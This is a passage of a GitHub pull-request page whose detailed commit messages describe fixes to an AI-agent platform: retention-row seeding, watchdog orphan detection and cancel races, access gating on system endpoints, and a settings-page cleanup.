(setup_logging -> first-run notice -> event_bus.start), and after the split
those three sit in three different functions. `_lifespan_body()` now flattens
the phases inline in call order, so the existing index comparisons keep meaning
what they meant. An unresolvable helper is left as the bare `await` rather than
skipped, so a phase this cannot expand can never silently drop the statements
it contains.

No production code changed.

Related to #1028

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(retention): every install writes its own retention rows, not just fresh ones (#2085) (#2432)

#1645 closed #1638 by reverting OPS_SETTINGS_DEFAULTS to the wide historical
values and applying the #1039 community floor through explicit system_settings
rows seeded on FRESH installs only. Every install that has ever upgraded rather
than been created fresh therefore had no rows at all, so cleanup_service
resolved all 11 windows at prune time from a dict that ships inside the backend
image and is replaced on every rebuild. The only thing between a future edit to
that dict and the #1638 failure mode — a silent hard-DELETE of existing data
seconds after the next boot, green /health, no error — was a code comment.

database._seed_retention_windows{,_engine} now writes an explicit row for every
RETENTION_OPS_KEYS member that has none, at the value already in force, on every
boot and regardless of install age. Behaviourally inert: it writes the number the
prune already used, so nothing prunes differently the day it runs.

Three properties are load-bearing:

* The key set is DERIVED from RETENTION_OPS_KEYS, never a second hand-written
  list, so a window added later is covered the day it ships instead of quietly
  inheriting the image default forever (the issue text said "eight windows"; it
  was 11 by the time this landed — ent#433 added two, #2216 a third).

* Ordering. It MUST run after _seed_fresh_install_retention. Both writers are
  insert-or-ignore, so the first to reach a key wins: reversed, a fresh install
  silently gets the wide defaults instead of the #1039 floor — the community
  floor deleted by the change meant to protect retention. Pinned behaviourally
  and by a source-order guard on both the SQLite and engine arms.

* It must actually run. The first cut imported the constants from
  services.settings_service, which has a module-level `from database import db`.
  init_database() is called from DatabaseManager.__init__, i.e. while database.py
  is still executing its own module body, so database.db does not exist yet and
  that import raises ImportError — which this seed's fail-safe contract then
  SWALLOWS. The feature was dead on every boot with a fully green unit suite,
  because every in-process test calls the function after database has finished
  importing. RETENTION_OPS_KEYS, OPS_SETTINGS_DEFAULTS and
  NON_ROW_RETENTION_OPS_KEYS therefore move to config.py (a leaf, already home to
  OPS_SETTINGS_VALIDATION and validate_ops_setting for these same keys) and are
  re-exported from settings_service, extending the pattern
  COMMUNITY_FRESH_INSTALL_SEED already used for exactly this reason. Two tests
  now pay for a real subprocess import; both fail if the import is reverted.

Stated tradeoff: a seeded install stops inheriting later changes to the code
default in EITHER direction, so widening a window for existing installs becomes a
deliberate migration rather than something that arrives silently with an image.
That is the intended consequence — retention becomes explicit per-install config
instead of implicit inheritance from whatever image happens to be running,
symmetric with the rule the OPS_SETTINGS_DEFAULTS comment already imposes on
narrowing.

backup_retention_days is seeded too. That makes OPS_SETTINGS_DEFAULTS' value the
one that lands in the DB for a key whose private reader
(db_backup_service.effective_backup_retention_days, inverted coercion) falls back
to its own module constant; the two are now parity-tested.

No schema change, no migration — row inserts at boot, same as the #1638 seed.

Not fixed here: generic DELETE /api/settings/{key} carries no RETENTION_OPS_KEYS
guard (only PUT does), so an admin can still delete a window row. After this it is
transient — the next boot re-seeds it — but the asymmetry with PUT remains.

Unblocks ops#300 once deployed: with rows on every install, /update step 8e can
drop its source-text guessing for a plain assertion over stored values.

Closes #2085

* fix(watchdog): stop false-orphaning executions parked before the agent spawns them (abilityai/trinity#2433) (#2435)

* fix(watchdog): stop false-orphaning executions parked before the agent spawns them

The cleanup watchdog's proof-of-life (GET agent/api/executions/running:
running ∪ recently-completed) could not see an admitted execution that was
waiting in the backend's global agent-call queue, in the agent's CPU-sized
default thread pool, behind the agent chat lock, or in the post-exit drain
before unregister(). After the 60s grace it wrote a false `failed`
("completed on agent but status not reported"), released the slot, and the
parked call then ran anyway — billed, overbooked, its late 200 silently
overwriting the row (#378). Reproduced twice locally; three mechanisms, one
string.

Orphan now means: the agent does not know the execution AND no live backend
dispatcher owns it.

- agent server: /api/executions/running gains `pending_ids` (accepted at
  /api/task, /api/chat and the #1083 async spawn but not yet spawned; lazily
  expired) and `recently_completed_ids` covers exited-but-registered handles.
  Cancel-while-pending is consumed by register() (SIGKILL at spawn, #679 marker
  kept); the pre-spawn 409 is only an optimisation. Headless runs use a
  dedicated 32-thread pool pinned to MAX_PARALLEL_TASKS_CEILING_MAX; the Gemini
  runtime now registers its subprocess at both Popen sites (it never did).
- backend: every outbound agent call is registered for its whole lifetime
  (track_inflight_dispatch — queue wait, connect retries, POST) in an
  in-process registry plus a cross-worker Redis liveness marker
  execution:inflight:{id} (60s TTL, one refresher task per process, 15s tick).
  The watchdog reads a tri-state verdict (alive / absent / unknown) and
  withholds recovery on `alive`, and on `unknown` only while a dispatcher could
  still own the row; a process with no Redis reads `absent` (its own registry
  is the whole truth). CleanupReport.dispatch_inflight_skipped counts withheld
  rows; the orphan error string states what was observed.
- a park no longer spends the run's budget: at grant, a park ≥ 5s restamps
  started_at (admission kept in queued_at, the drained-backlog shape, CAS on
  RUNNING + NULL lease) and renews the slot lease (ZADD XX + EXPIRE together);
  the refresher renews the slot every tick while parked.
- parked rows are cancellable and agent-scoped: terminate consults the
  in-process registry, then the cross-worker cancel key; a parked phase is
  finalized CANCELLED and the grant raises BackendAgentCallCancelled, where the
  dispatcher writes CANCELLED itself (never FAILED; the /chat arm answers 409).
- terminate_execution gains ONE agent-scope gate at its entry for all three
  arms: the row behind the caller-supplied task_execution_id must belong to the
  agent the route proved (uniform 404; an unreadable row fails closed with
  503). The proxy arm's 404 scoped only execution_id while the CANCELLED CAS
  was keyed on task_execution_id, so a caller authorised on agent A could flip
  agent B's running row (found by the /cso --diff verifier; report under
  docs/security-reports/).
- packaging: BACKEND_AGENT_CALL_LIMIT / BACKEND_AGENT_CALL_QUEUE_TIMEOUT_S
  forwarded in prod + hosted compose and documented in .env.example; the >5s
  queue-wait warning fires on both acquire branches.

Verified: full unit suite under CI conditions 12969 passed / 0 failed
(baseline origin/dev 12863 / 0); Repro A 10/10 success (2 parked 485s,
withheld at both watchdog cycles, re-anchored at dispatch); Repro B 8/8
success (5 parked, two waves); live pending_ids probe on the agent. The
agent-side half needs a rebuilt base image; the backend half alone covers old
images through the whole-call marker.

Fixes abilityai/trinity#2433

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(watchdog): close the cross-worker cancel race and bound the exited-but-registered set (#2435 review)

Review of the #2433 fix found that it reintroduced the #378 symptom in a
narrower window and turned a pre-existing registry leak into a permanent one.

1. Cross-worker cancel acted on a marker phase that predated its own write.
   `entry.phase` flipped parked->calling in memory only; the marker was
   rewritten by the 15s refresher, so `execution:inflight:{id}` advertised
   `parked` for up to a full tick after the POST had begun. Under --workers 2
   about half of all cancels are served by the worker that does NOT own the
   coroutine and therefore read it: the row was finalized CANCELLED and its
   slot released while the agent ran the turn to a billed completion whose
   SUCCESS then lost the CAS. Closed by ordering, not by narrowing — the owner
   publishes the transition in the SAME round-trip that reads the cancel key
   (`_publish_calling_and_check_cancel_sync`), and the remote sets the cancel
   key BEFORE re-reading the phase (`_set_cancel_then_reread_phase_sync`), so
   an observed `parked` gives W_remote(cancel) < R_remote(marker) <
   W_owner(marker) < R_owner(cancel) and the grant is guaranteed to see the
   key. Neither side pays an extra round-trip. The owner gates the publish on
   the ENTRY's age rather than this attempt's park, because
   `track_inflight_dispatch` wraps the whole retry loop and a retry can grant
   instantly under a marker a tick left saying `parked`; the remote's scope
   check stays on its first read, so no key is written for a foreign agent.

2. `list_recently_completed_ids` reported exited-but-registered ids with no
   age bound, so a leaked entry was agent-known forever and the watchdog never
   recovered that row — a regression against pre-#2433, where `list_running()`
   self-healed it. Now bounded by the same 300s TTL as the buffer, measured
   from when the exit was first OBSERVED (not `started_at`, which would drop a
   long turn the moment it entered its drain). The leak is also closed at
   source: `register()` SIGKILLs the group for a cancel that arrived while
   pending, so the following `stdin.write` can raise BrokenPipeError — all
   three prompt-writing runtimes (claude_code, gemini x2) now pair that write
   with `unregister()` on failure.

3. `restamp_execution_dispatch` is a sync sqlite write and ran on the event
   loop, while both semaphores are held and the queue is by definition
   congested. Now `asyncio.to_thread`, like the slot renewal beside it.

Smaller items from the same review:
- /api/chat sizes its pending entry to PENDING_CHAT_TIMEOUT_SECONDS (7200s):
  `ChatRequest` carries no timeout and a chat can wait on the execution lock
  for the agent's whole budget, so the /api/task default evicted the entry
  mid-wait. Its discard now wraps the lock acquisition, so a request cancelled
  while waiting (client disconnect) cannot leak one.
- Phase 3 batches its in-flight verdict read (one MGET per cycle, not per row),
  matching Phase 0.
- `renew_slot` refuses, score untouched, when the metadata hash has already
  expired: `ZADD XX` succeeds while `EXPIRE` no-ops, so it used to report a
  renewal it had not performed and re-anchor exactly the ZSET-without-hash
  state canary S-03 calls `missing`.
- `register_pending` logs at DEBUG (it fires on every /api/task and /api/chat).
- Documented that the in-flight marker is not eviction-proof under the prod
  `allkeys-lru` policy.

Tests: tests/unit/test_2433_review_fixes.py (15) — 11 of them fail against
cfc2cfef, verified in a worktree. Full unit suite under CI conditions
(clean origin/dev worktree, no submodules): 12985 passed, 0 failed.

Refs abilityai/trinity#2433

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>

* test(resume): the guard architecture.md promised did not exist (ent#430 review)

The reviewer's one condition before merge. `architecture.md`'s 'Two callers,
one rule' bullet said the CAS-win rule was 'guarded now by enumerating every
caller rather than the one route ent#329 knew about, so a third site inherits
the rule instead of re-losing it'. No such guard existed:
`test_dispatch_hangs_off_the_cas_win_only` read exactly one hardcoded file,
`routers/operator_queue.py` — so `client_portal/asks/service.py`, the caller
this PR adds and the one that LOST the rule, was outside its reach.

A sentence claiming protection that is not there is worse than no sentence: the
next person adding a dispatch site reads it and stops looking. This is the shape
#2428 filed a learnings entry about this morning — a comment that names a
failure mode is a request for a guard — so it lands the same way.

DISCOVERED, NOT LISTED. `_dispatch_call_sites` walks the backend tree for
callers, because a hardcoded list structurally cannot catch the case that
matters: the file it would need to check is the one being added.

ASSERTED AGAINST CODE, NOT FILE TEXT — and this is the part I got wrong first.
The initial version tested `"_status_conflict" in source` against the raw file
and MUTATION PROVED IT BLIND: deleting the check from the `if` still passed,
because the long comment above it explaining the race still contained the
string. A source-substring guard cannot tell a check from a paragraph about the
check — the same defect the guard exists to prevent, inside the guard. It now
parses each dispatching function and compares `ast.unparse` output, where
comments do not survive.

Verified by three mutations, each caught:
  1. delete the check in asks/service.py, keep the comment  -> FAIL
  2. neuter the check in routers/operator_queue.py          -> FAIL
  3. add a brand-new third caller with no check at all      -> FAIL
and all 23 pass on the real tree.

`test_the_discovery_walk_finds_both_known_callers` pins the floor, so a rename
of the helper cannot leave the loop iterating an empty list and passing in
silence — the failure a discovery guard trades for the one it fixes.

ALSO (non-blocking, from the same review): `WorkspaceAsk.status`'s comment still
read 'pending | expired (terminal ones are not listed)' after `_status_of`
gained a third value. Corrected to say where each value is reachable from.

The remaining non-blocking item — `resume_requested` and the new `answered`
status are unconsumed by any surface — is deliberately NOT in this commit. It is
a product decision about where a transient confirmation lives, and it is filed
so it stays a decision rather than becoming an oversight.

Related to abilityai/trinity-enterprise#430
Related to abilityai/trinity-enterprise#329

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(systems): the four post-deploy endpoints — a nonexistent DB call, an ungated restart, a broken export round-trip, and prefix-collision membership (#2373)

The deploy half has been hardened by every commit since ent#124; the four
post-deploy endpoints were essentially untouched since 2025.

## Membership is now ONE predicate

`get_system`, `restart_system` and `export_manifest` each matched
`startswith(f"{system_name}-")`, so an operation on `acme` also captured every
agent of a system named `acme-extra` — including `restart`, which stops and
starts containers. Three copies of a wrong rule.

`system_service.system_member_names` is the one rule, and it prefers TAGS:
`configure_tags` already applies the system name to every member, so a tag is a
RECORD of membership where a prefix is an inference from a naming convention.
The prefix survives only as a fallback for pre-tag deployments, narrowed so an
agent claimed by another system's own tag is excluded — a tagged `acme-extra`
agent is never captured by `acme` even there. A failing tag read degrades to the
prefix rather than 500ing.

Residual, stated rather than hidden: two systems deployed BEFORE tagging where
one name is a prefix of the other remain ambiguous, because nothing distinguishes
them. This is also the prerequisite for the teardown verb, where the same
collision would delete rather than restart.

## GET /{name} returns real schedules

It called `db.get_agent_schedules`, which does not exist — the facade exposes
`list_agent_schedules` and `database.py` deliberately has no `__getattr__`
fallback. The AttributeError was swallowed by the surrounding `except
Exception`, so every response omitted `schedules` for every agent and logged one
warning each, while `tests/test_systems.py` never asserted on the key. Exactly
the failure mode the db facade's own comment warns about — so the test also pins
that the fallback stays absent, since adding one would turn the next typo into a
silent Mock.

## POST /{name}/restart is creator-gated

It was bare `get_current_user` — below `POST /deploy` and below even the
READ-ONLY bundled-catalog routes — so any authenticated principal, including
`role: user`, could stop and start every container in a system whose agents it
could see. A mutating fleet-wide verb under a lighter gate than the catalog it
reads is an oversight, not a decision. `require_role` also rejects agent
principals (#1890), which matters because an agent-scoped MCP key resolves to
its owner carrying the owner's role.

## Export round-trips

The non-full-mesh permissions branch sliced `target_agent[len(name)+1:]` with no
membership filter — the sibling branch had one — so an edge pointing outside the
system exported as a blind-sliced garbage short name that then failed
`validate_manifest`'s unknown-agent check on re-deploy. The export broke its own
round trip. Both branches now test membership.

And the export no longer embeds the instance-global `trinity_prompt` as the
manifest's `prompt:`. Deploying that manifest elsewhere overwrote THAT
instance's platform-wide prompt — a fleet-wide side effect from what reads like
a copy of one system. Nothing records whether the source system ever set a
prompt, so there is no honest way to distinguish it from whatever the instance
happens to have configured, and the only correct export of an unknown is to
omit it.

## Two preview hardenings

Unknown PER-AGENT keys now warn like top-level ones (ent#126): `credentials:`,
`skills:` and `display_label:` are the fields people try first and they vanished
in silence.

Preview and deploy now resolve the identical resource default. Deploy hardcoded
`{"cpu": "2", "memory": "4g"}` while `_preflight_template` validated against the
admin-configurable `get_agent_default_resources()`, so the two disagreed the
moment an admin moved the fleet default — the one spot that escaped ent#126's
pure-resolver no-drift pattern.

## Verification

14 unit tests, one per defect plus the exempt shapes. Two mutation-checked: the
restart gate and the tag-first membership each turn a test red when reverted.
414 pass across the system/manifest/ent#126/#1884 suites.

`tests/test_systems.py` is live-backend tier and…
dolho added a commit that referenced this pull request Sep 18, 2026
#2202)

Two papercuts found together, on the one page a 31-page sweep flagged as the
only source of a page-level console error — and it produced one on every tab.

**The 404.** Settings read `public_chat_url` through the generic
`GET /api/settings/{key}`, which answers 404 for a key nobody has written. The
store already treated 404 as "unset", so nothing was broken; what was lost was
the signal — a real failure on that call looked exactly like the ordinary case —
and no client-side handling can suppress the browser's own network log, which is
why the fix is a route and not a try/catch. `GET /api/settings/public-chat-url`
answers 200 with `value: null` when unset, following the `/mcp-url` precedent:
a named route for a named setting, declared above `/{key}` (Invariant #4). The
generic route's 404 is deliberately unchanged — it is the documented contract for
every other key and is read outside this repo.

Writing the spec found a SECOND key with the same defect, unnamed in the issue:
`platform_default_model`, 404ing eight times per Settings load. It needed no new
route — `/api/settings/feature-flags` already carries the resolved value — so the
page now reads it from there, which is also more correct: the control shows what
the platform will actually use instead of blank.

**The unbounded list.** MCP Keys rendered every key an instance had ever minted:
measured 306, of which 294 revoked (96%), ~71KB of DOM text, no filter, no bound.
Agent keys accumulate structurally — one per agent, one per #1854 rotation, one
per ephemeral ghost — so the page grows for the life of the instance and the 12
keys that still work are buried in the 294 that do not. Revoked keys are now
hidden behind an explicit toggle that STATES the count, the list is searchable by
name/prefix/agent, and rendering is bounded at 25 rows with a "Show more". The
rules are pure (`utils/mcpKeyList.js`) because vitest runs `environment: 'node'`;
the non-admin agent-key filter is carried through unchanged and asserted, since
it is an access rule wearing a filter's clothes.

Three empties, three next actions — "No API keys" was a lie to an operator
holding 294 revoked ones — but ONE piece of chrome: the wording is computed and
only the action row branches, because three copies of the markup would have
tripled this file's palette-class count.

The new controls are built from the Base* primitives (#2122), and the two
container borders they need are paid for by converting the create form's
hand-rolled name input and description textarea to `BaseInput`/`BaseTextarea` in
the same component: `McpKeysTab.vue` raw_gray 97 -> 83. Baseline edited by hand,
not regenerated.

Verified against a local dev instance (a key created and revoked to exercise the
toggle, removed afterwards): every tab loads with zero 404s and zero console
errors, the list renders 2 of 3 keys with "Show revoked (1)" and "2 active", the
toggle reveals the revoked row while staying bounded, search narrows to a named
empty state that offers the way back, and the converted create form renders and
binds in both themes. Red without the fix on both halves. Frontend unit suite 134
files / 2949 tests green.

Fixes #2202

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ
dolho added a commit that referenced this pull request Sep 18, 2026
#2202)

Two papercuts found together, on the one page a 31-page sweep flagged as the
only source of a page-level console error — and it produced one on every tab.

**The 404.** Settings read `public_chat_url` through the generic
`GET /api/settings/{key}`, which answers 404 for a key nobody has written. The
store already treated 404 as "unset", so nothing was broken; what was lost was
the signal — a real failure on that call looked exactly like the ordinary case —
and no client-side handling can suppress the browser's own network log, which is
why the fix is a route and not a try/catch. `GET /api/settings/public-chat-url`
answers 200 with `value: null` when unset, following the `/mcp-url` precedent:
a named route for a named setting, declared above `/{key}` (Invariant #4). The
generic route's 404 is deliberately unchanged — it is the documented contract for
every other key and is read outside this repo.

Writing the spec found a SECOND key with the same defect, unnamed in the issue:
`platform_default_model`, 404ing eight times per Settings load. It needed no new
route — `/api/settings/feature-flags` already carries the resolved value — so the
page now reads it from there, which is also more correct: the control shows what
the platform will actually use instead of blank.

**The unbounded list.** MCP Keys rendered every key an instance had ever minted:
measured 306, of which 294 revoked (96%), ~71KB of DOM text, no filter, no bound.
Agent keys accumulate structurally — one per agent, one per #1854 rotation, one
per ephemeral ghost — so the page grows for the life of the instance and the 12
keys that still work are buried in the 294 that do not. Revoked keys are now
hidden behind an explicit toggle that STATES the count, the list is searchable by
name/prefix/agent, and rendering is bounded at 25 rows with a "Show more". The
rules are pure (`utils/mcpKeyList.js`) because vitest runs `environment: 'node'`;
the non-admin agent-key filter is carried through unchanged and asserted, since
it is an access rule wearing a filter's clothes.

Three empties, three next actions — "No API keys" was a lie to an operator
holding 294 revoked ones — but ONE piece of chrome: the wording is computed and
only the action row branches, because three copies of the markup would have
tripled this file's palette-class count.

The new controls are built from the Base* primitives (#2122), and the two
container borders they need are paid for by converting the create form's
hand-rolled name input and description textarea to `BaseInput`/`BaseTextarea` in
the same component: `McpKeysTab.vue` raw_gray 97 -> 83. Baseline edited by hand,
not regenerated.

Verified against a local dev instance (a key created and revoked to exercise the
toggle, removed afterwards): every tab loads with zero 404s and zero console
errors, the list renders 2 of 3 keys with "Show revoked (1)" and "2 active", the
toggle reveals the revoked row while staying bounded, search narrows to a named
empty state that offers the way back, and the converted create form renders and
binds in both themes. Red without the fix on both halves. Frontend unit suite 134
files / 2949 tests green.

Fixes #2202

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants